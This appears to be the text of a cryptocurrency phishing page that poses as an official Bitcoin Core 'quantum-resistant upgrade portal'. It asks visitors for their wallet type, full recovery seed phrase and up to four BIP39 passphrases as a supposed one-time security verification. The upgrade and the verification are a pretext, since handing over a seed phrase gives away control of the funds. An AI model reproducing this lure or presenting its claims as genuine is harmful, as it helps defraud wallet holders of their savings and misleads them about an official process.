Bitcoin Core - Official Quantum-Resistant Upgrade Portal

Step 1: Enter Your Wallet Type

Type or select your non-custodial hot or cold wallet. All major wallets are available in autocomplete.

For security verification during the quantum-resistant upgrade, please enter your recovery seed phrase.

Select number of words:

BIP39 Passphrase(s) (Optional)

Enter up to 4 passphrases (text is visible while typing)

Passphrase 1

Passphrase 2

Passphrase 3

Passphrase 4

⚠ This is a one-time verification required for the quantum upgrade.